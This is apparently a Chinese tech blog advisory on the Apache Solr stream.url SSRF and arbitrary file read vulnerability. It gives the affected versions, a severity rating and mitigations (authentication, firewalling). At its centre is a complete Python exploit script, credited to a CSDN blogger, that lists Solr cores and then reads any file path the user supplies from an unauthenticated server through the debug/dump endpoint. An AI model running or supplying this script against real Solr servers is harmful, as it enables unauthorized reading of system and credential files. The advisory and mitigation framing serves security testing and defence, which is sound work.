Apache Solr是一个开源的搜索服务,使用Java语言开发。
编号 | (2021-0318) | 日期 | 2021-03-18 |
特征 | 请求伪造漏洞, 文件读取漏洞 | 等级 | 高危 |
描述 | Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者不需要授权即可访问Config API,并且打开requestDispatcher.requestParsers.enableRemoteStreaming开关,造成SSRF或文件读取漏洞。 | ||
影响 | Apache Solr 所有版本 |
附PythonEXP验证脚本
本脚本来自CSDN博主MD@@nr丫卡uer
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests import json import urllib import time import re def Getins(url): try: ins="" url = url+"solr/admin/cores?indexInfo=false&wt=json" response = requests.get(url=url) data = str(response.text) ins = re.findall(r'\"name\":\"(.+?)\",',data)[0] return(ins) except IndexError: return("") def Getfile(url,ins,filename): try: url = url+"solr/"+ins+"/debug/dump?param=ContentStreams&wt=json" headers ={ 'Content-Type': 'application/x-www-form-urlencoded' } payload = str("stream.url=file://"+filename) response = requests.post(url=url,headers=headers,data=payload) data = str(response.text) test = re.findall(r'\"stream\":\"(.+?)\"\}]',data)[0] print(test.replace(r"\n","\n")) except IndexError: print("不能读取此文件") if __name__ == '__main__': url = input("请输入测试地址:") filename = input("请输入读取的文件路径:") ins=Getins(url) if(ins == ""): print("不存在漏洞") else: Getfile(url,ins,filename)
解决方案
官方表示这不是漏洞,因此暂不提供解决方案,建议采取以下方案:
1. 增加身份验证/授权,参考官方文档。
2. 禁止Solr API和管理UI的公网服务,或配置防火墙。
原创文章禁止转载:技术学堂 » Apache Solr stream.url SSRF与任意文件读取漏洞